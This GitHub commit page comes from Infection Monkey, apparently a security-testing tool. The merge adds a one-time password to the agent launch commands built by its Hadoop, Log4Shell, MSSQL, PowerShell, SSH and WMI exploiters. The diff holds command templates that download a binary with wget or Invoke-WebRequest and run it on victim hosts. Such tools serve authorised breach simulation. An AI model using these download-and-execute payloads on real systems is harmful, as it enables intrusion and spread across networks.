Skip to content

Commit

Permalink
Merge branch '3077-modify-exploiters-to-use-otp' into develop
Browse files Browse the repository at this point in the history
Issue #3077
PR #3118
  • Loading branch information
mssalvatore committed Mar 28, 2023
2 parents b7c32eb + 8d98ef8 commit 780b940
Show file tree
Hide file tree
Showing 12 changed files with 64 additions and 17 deletions.
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
from typing import Sequence

from common import OperatingSystem
from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
from common.types import AgentID
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.i_puppet import TargetHost
Expand All @@ -11,7 +12,8 @@
"powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { "
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; "
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) "
'{& %(monkey_path)s %(monkey_type)s %(parameters)s } "'
"{ $env:%(agent_otp_environment_variable)s='%(agent_otp)s' ; "
'& %(monkey_path)s %(monkey_type)s %(parameters)s } "'
)
# The hadoop server may request another monkey executable after the attacker's HTTP server has shut
# down. This will result in wget creating a zero-length file, which needs to be removed. Using the
Expand All @@ -35,6 +37,7 @@
"wget --no-clobber -O %(monkey_path)s %(http_path)s "
"|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) "
"; chmod +x %(monkey_path)s "
"&& %(agent_otp_environment_variable)s=%(agent_otp)s "
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
)

Expand All @@ -45,6 +48,7 @@ def build_hadoop_command(
servers: Sequence[str],
current_depth: int,
agent_download_url: str,
otp: str,
) -> str:
monkey_cmd = build_monkey_commandline(agent_id, servers, current_depth + 1)

Expand All @@ -58,4 +62,6 @@ def build_hadoop_command(
"http_path": agent_download_url,
"monkey_type": MONKEY_ARG,
"parameters": monkey_cmd,
"agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE,
"agent_otp": otp,
}
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
from typing import Callable, Sequence

from common.types import AgentID, Event, NetworkPort, NetworkService, PortStatus
from infection_monkey.exploit import IAgentOTPProvider
from infection_monkey.exploit.tools import HTTPBytesServer
from infection_monkey.exploit.tools.web_tools import build_urls
from infection_monkey.i_puppet import ExploiterResultData, TargetHost
Expand All @@ -22,10 +23,12 @@ def __init__(
agent_id: AgentID,
hadoop_exploit_client: HadoopExploitClient,
start_agent_binary_server: AgentBinaryServerFactory,
otp_provider: IAgentOTPProvider,
):
self._agent_id = agent_id
self._hadoop_exploit_client = hadoop_exploit_client
self._start_agent_binary_server = start_agent_binary_server
self._otp_provider = otp_provider

def exploit_host(
self,
Expand Down Expand Up @@ -61,8 +64,8 @@ def exploit_host(
servers,
current_depth,
agent_binary_http_server.download_url,
self._otp_provider.get_otp(),
)
logger.debug(f"Command: {command}")

try:
logger.debug(
Expand Down
2 changes: 1 addition & 1 deletion monkey/agent_plugins/exploiters/hadoop/src/plugin.py
Original file line number Diff line number Diff line change
Expand Up @@ -48,7 +48,7 @@ def __init__(
)

self._hadoop_exploiter = HadoopExploiter(
agent_id, hadoop_exploit_client, agent_binary_server_factory
agent_id, hadoop_exploit_client, agent_binary_server_factory, otp_provider
)

def run(
Expand Down
2 changes: 1 addition & 1 deletion monkey/common/common_consts/environment_variables.py
Original file line number Diff line number Diff line change
@@ -1 +1 @@
AGENT_OTP_ENVIRONMENT_VARIABLE = "IM_OTP"
AGENT_OTP_ENVIRONMENT_VARIABLE = "MONKEY_OTP"
3 changes: 3 additions & 0 deletions monkey/infection_monkey/exploit/log4shell.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
from egg_timer import EggTimer

from common import OperatingSystem
from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.tags import (
T1105_ATTACK_TECHNIQUE_TAG,
Expand Down Expand Up @@ -147,6 +148,8 @@ def _build_command(self, path: PurePath, http_path) -> str:
return base_command % {
"monkey_path": path,
"http_path": http_path,
"agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE,
"agent_otp": self.otp_provider.get_otp(),
"monkey_type": DROPPER_ARG,
"parameters": monkey_cmd,
}
Expand Down
10 changes: 8 additions & 2 deletions monkey/infection_monkey/exploit/mssqlexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@

import pymssql

from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.credentials import get_plaintext
from common.tags import (
Expand All @@ -18,7 +19,7 @@
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import DROPPER_ARG
from infection_monkey.model import DROPPER_ARG, SET_OTP_WINDOWS
from infection_monkey.transport import LockedHTTPServer
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline
Expand Down Expand Up @@ -204,8 +205,13 @@ def _run_agent(self, agent_path_on_victim: PureWindowsPath):
self._run_mssql_command(agent_launch_command)

def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
set_agent_otp_command = SET_OTP_WINDOWS % {
"agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE,
"agent_otp": self.otp_provider.get_otp(),
}

agent_args = build_monkey_commandline(
self.agent_id, self.servers, self.current_depth + 1, str(agent_path_on_victim)
)

return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"
return f"{set_agent_otp_command} {agent_path_on_victim} {DROPPER_ARG} {agent_args}"
11 changes: 9 additions & 2 deletions monkey/infection_monkey/exploit/powershell.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
from typing import List, Optional

from common import OperatingSystem
from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
from common.tags import (
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
Expand All @@ -23,7 +24,7 @@
PowerShellClient,
)
from infection_monkey.exploit.tools.helpers import get_agent_dst_path, get_random_file_suffix
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY
from infection_monkey.model import CMD_PREFIX, DROPPER_ARG, RUN_MONKEY, SET_OTP_WINDOWS
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.threading import interruptible_iter

Expand Down Expand Up @@ -209,13 +210,19 @@ def _create_local_agent_file(self, binary_path):
f.write(agent_binary_bytes.getvalue())

def _run_monkey_executable_on_victim(self, executable_path):
set_agent_otp_command = f"{CMD_PREFIX} {SET_OTP_WINDOWS}" % {
"agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE,
"agent_otp": self.otp_provider.get_otp(),
}
monkey_execution_command = build_monkey_execution_command(
self.agent_id, self.servers, self.current_depth + 1, executable_path
)

run_agent_command = f"{set_agent_otp_command} {monkey_execution_command}"

logger.info(f"Attempting to execute the monkey agent on remote host " f"{self.host.ip}")

self._client.execute_cmd_as_detached_process(monkey_execution_command)
self._client.execute_cmd_as_detached_process(run_agent_command)


def build_monkey_execution_command(
Expand Down
4 changes: 3 additions & 1 deletion monkey/infection_monkey/exploit/sshexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@

from common import OperatingSystem
from common.agent_events import TCPScanEvent
from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.credentials import get_plaintext
from common.tags import (
Expand Down Expand Up @@ -236,7 +237,8 @@ def _propagate(self, ssh: paramiko.SSHClient):
raise FailedExploitationError(self.exploit_result.error_message)

try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline = f"{AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()} ;"
cmdline += f" {monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1)
cmdline += " > /dev/null 2>&1 &"
timestamp = time()
Expand Down
9 changes: 7 additions & 2 deletions monkey/infection_monkey/exploit/wmiexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@

from impacket.dcerpc.v5.rpcrt import DCERPCException

from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
from common.credentials import get_plaintext
from common.tags import (
T1021_ATTACK_TECHNIQUE_TAG,
Expand Down Expand Up @@ -126,7 +127,9 @@ def _exploit_host(self) -> ExploiterResultData:
# execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != DROPPER_TARGET_PATH_WIN64:
cmdline = DROPPER_CMDLINE_WINDOWS % {
"dropper_path": remote_full_path
"agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE,
"agent_otp": self.otp_provider.get_otp(),
"dropper_path": remote_full_path,
} + build_monkey_commandline(
self.agent_id,
self.servers,
Expand All @@ -135,7 +138,9 @@ def _exploit_host(self) -> ExploiterResultData:
)
else:
cmdline = MONKEY_CMDLINE_WINDOWS % {
"monkey_path": remote_full_path
"agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE,
"agent_otp": self.otp_provider.get_otp(),
"monkey_path": remote_full_path,
} + build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1)

# execute the remote monkey
Expand Down
12 changes: 8 additions & 4 deletions monkey/infection_monkey/model/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,12 +14,14 @@
CMD_EXE = "cmd.exe"
CMD_CARRY_OUT = "/c"
CMD_PREFIX = CMD_EXE + " " + CMD_CARRY_OUT
DROPPER_CMDLINE_WINDOWS = "%s %%(dropper_path)s %s" % (
DROPPER_CMDLINE_WINDOWS = "%s %s %%(dropper_path)s %s" % (
CMD_PREFIX,
SET_OTP_WINDOWS,
DROPPER_ARG,
)
MONKEY_CMDLINE_WINDOWS = "%s %%(monkey_path)s %s" % (
MONKEY_CMDLINE_WINDOWS = "%s %s %%(monkey_path)s %s" % (
CMD_PREFIX,
SET_OTP_WINDOWS,
MONKEY_ARG,
)

Expand All @@ -39,13 +41,15 @@

LOG4SHELL_LINUX_COMMAND = (
"wget -O %(monkey_path)s %(http_path)s ;"
" chmod +x %(monkey_path)s ;"
"%(agent_otp_environment_variable)s=%(agent_otp)s ;"
"chmod +x %(monkey_path)s ;"
" %(monkey_path)s %(monkey_type)s %(parameters)s"
)

LOG4SHELL_WINDOWS_COMMAND = (
'powershell -NoLogo -Command "'
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; "
' %(monkey_path)s %(monkey_type)s %(parameters)s"'
"$env:%(agent_otp_environment_variable)s='%(agent_otp)s' ; "
'%(monkey_path)s %(monkey_type)s %(parameters)s"'
)
DOWNLOAD_TIMEOUT = 180
2 changes: 1 addition & 1 deletion monkey/infection_monkey/monkey.py
Original file line number Diff line number Diff line change
Expand Up @@ -183,7 +183,7 @@ def _get_otp() -> OTP:
otp = SecretVariable(os.environ[AGENT_OTP_ENVIRONMENT_VARIABLE])
except KeyError:
raise Exception(
f"Couldn't find {AGENT_OTP_ENVIRONMENT_VARIABLE} environmental variable."
f"Couldn't find {AGENT_OTP_ENVIRONMENT_VARIABLE} environmental variable. "
f"Without an OTP the agent will fail to authenticate!"
)

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@

from common import OperatingSystem
from common.types import NetworkPort, NetworkProtocol, NetworkService, PortStatus
from infection_monkey.exploit import IAgentOTPProvider
from infection_monkey.exploit.tools import HTTPBytesServer
from infection_monkey.i_puppet import (
ExploiterResultData,
Expand Down Expand Up @@ -80,12 +81,22 @@ def mock_start_agent_binary_server(mock_bytes_server) -> HTTPBytesServer:
return MagicMock(return_value=mock_bytes_server)


@pytest.fixture
def mock_otp_provider():
mock_otp_provider = MagicMock(spec=IAgentOTPProvider)
mock_otp_provider.get_otp.return_value = "123456"
return mock_otp_provider


@pytest.fixture
def hadoop_exploiter(
mock_hadoop_exploit_client: HadoopExploitClient,
mock_start_agent_binary_server: Callable[[TargetHost], HTTPBytesServer],
mock_otp_provider: IAgentOTPProvider,
) -> HadoopExploiter:
return HadoopExploiter(AGENT_ID, mock_hadoop_exploit_client, mock_start_agent_binary_server)
return HadoopExploiter(
AGENT_ID, mock_hadoop_exploit_client, mock_start_agent_binary_server, mock_otp_provider
)


@pytest.fixture
Expand Down

0 comments on commit 780b940

Please sign in to comment.